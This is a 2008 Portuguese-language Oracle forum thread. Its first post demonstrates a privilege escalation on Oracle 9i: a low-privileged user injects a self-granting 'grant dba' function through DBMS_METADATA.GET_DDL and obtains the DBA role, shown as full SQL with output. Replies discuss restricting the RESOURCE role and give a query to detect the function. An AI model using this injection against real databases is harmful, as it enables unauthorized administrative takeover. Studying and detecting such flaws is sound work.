|
|
| Mensagem |
Autor |
| Enviada: Seg, 13 Out 2008 1:55 pm Assunto: [Dica] Conseguir role DBA no Oracle 9i (falha de segurança) |
|
|
Neste post vamos mostrar como conseguir a role de DBA com oracle 9i tendo apenas permissão de CONNECT e RESOURCE. Utilizamos a versão 9.2.0.4.0 para realizar o estudo abaixo. Este post é baseado no documento de Pete Finnigan entitulado de "Many ways to become DBA".
Primeiramente vamos ver a versão exata que estamos usando:
| Código: | sys@ORA9R2> select * from v$version;
BANNER
----------------------------------------------------------------
Oracle9i Enterprise Edition Release 9.2.0.4.0
PL/SQL Release 9.2.0.4.0 - Production
CORE 9.2.0.3.0 Production
TNS for Linux: Version 9.2.0.4.0 - Production
NLSRTL Version 9.2.0.4.0 - Production |
Criação do usuário
Neste exemplo, vamos criar o usuário que iremos transformar em DBA. Chamaremos o usuário de TESTUSER e daremos apenas acesso de CONNECT e RESOURCE pra ele!
| Código: | sys@ORA9R2> create user testUser identified by testUser;
User created.
sys@ORA9R2> grant connect, resource to testUser;
Grant succeeded.
sys@ORA9R2> connect testUser/testUser
Connected.
testuser@ORA9R2> select * from user_role_privs;
USERNAME GRANTED_ROLE ADM DEF OS_
-------- ------------ --- --- ---
TESTUSER CONNECT NO YES NO
TESTUSER RESOURCE NO YES NO
testuser@ORA9R2> |
Ganhar privilégio de DBA
Agora que o usuário está criado e tem pouquíssimos privilégios, vamos usar uma falha da versão 9i para obter a role DBA. Esta falha envolve a criação de uma função e o uso de uma vulnerabilidade da package DBMS_METADATA.
Criação da função
| Código: | testuser@ORA9R2> create or replace function testuser.hack return varchar2
2 authid current_user is
3 pragma autonomous_transaction;
4 begin
5 execute immediate 'grant dba to testUser';
6 return '';
7 end;
8 /
Function created. |
Execução da Função
| Código: | testuser@ORA9R2> select sys.dbms_metadata.get_ddl('''||testuser.hack()||''','')
2 from dual;
ERROR:
ORA-31600: invalid input value '||testuser.hack()||' for parameter OBJECT_TYPE in
function GET_DDL
ORA-06512: at "SYS.DBMS_SYS_ERROR", line 105
ORA-06512: at "SYS.DBMS_METADATA_INT", line 1536
ORA-06512: at "SYS.DBMS_METADATA_INT", line 1900
ORA-06512: at "SYS.DBMS_METADATA_INT", line 3606
ORA-06512: at "SYS.DBMS_METADATA", line 504
ORA-06512: at "SYS.DBMS_METADATA", line 560
ORA-06512: at "SYS.DBMS_METADATA", line 1221
ORA-06512: at line 1
no rows selected |
E agora, a mágica!
| Código: | testuser@ORA9R2> select * from user_role_privs;
USERNAME GRANTED_ROLE ADM DEF OS_
-------- ------------ --- --- ---
TESTUSER CONNECT NO YES NO
TESTUSER DBA NO YES NO
TESTUSER RESOURCE NO YES NO
testuser@ORA9R2> |
Voalá! Role de DBA para TESTUSER !
E agora ?
Como você faria pra detectar se algum dos seus usuários fez essa malandragem acima? Vamos encontrar uma solução para esse caso! Responda o link com idéias de como descobrir e evitar isso!
_________________ Thomas F. G.
Campanha: Faça uma pesquisa antes de perguntar!!!
|
|
dr_gori Moderador


Registrado em: Seg, 3 de Mai de 2004 Mensagens: 3222 Cidade - UF: Porto Alegre - RS
|
|
|
 |
| Enviada: Dom, 19 Out 2008 1:28 am |
|
|
Dr_gori,
Se eu fosse o DBA você não faria isso.rsrsrs
Qual a necessidade dos privs Connect e Resource? Ao criar um usuario pelo Enterprise Manager ele concede esses privs, porem para evitar isso de somente o Create session.
Na Role Resource contem alguns privilegios perigosos!!! como você demosrou acima..
CREATE TRIGGER
CREATE SEQUENCE
CREATE TYPE
CREATE PROCEDURE
CREATE CLUSTER
CREATE OPERATOR
CREATE INDEXTYPE
CREATE TABLE
Obs:altem dos privs cuidado com as quotas!!!
Abracos!!!
você está querendo deixar alguns amigos desempregados ne?!?!!! srsrsrsr
_________________ Att,
Diego Leite
DBA ORACLE
|
|
diegoleite Rank: Analista Pleno

Registrado em: Sáb, 10 de Novembro de 2007 Mensagens: 110 Cidade - UF: rio de janeiro
|
|
|
 |
| Enviada: Dom, 19 Out 2008 1:37 am |
|
|
a esqueci da outra pergunta!!! rsrsrs
select owner from all_source where text like '%grant dba to bug%';
Olha o X9!! aí!! rsrsrs
_________________ Att,
Diego Leite
DBA ORACLE
|
|
diegoleite Rank: Analista Pleno

Registrado em: Sáb, 10 de Novembro de 2007 Mensagens: 110 Cidade - UF: rio de janeiro
|
|
|
 |
|
|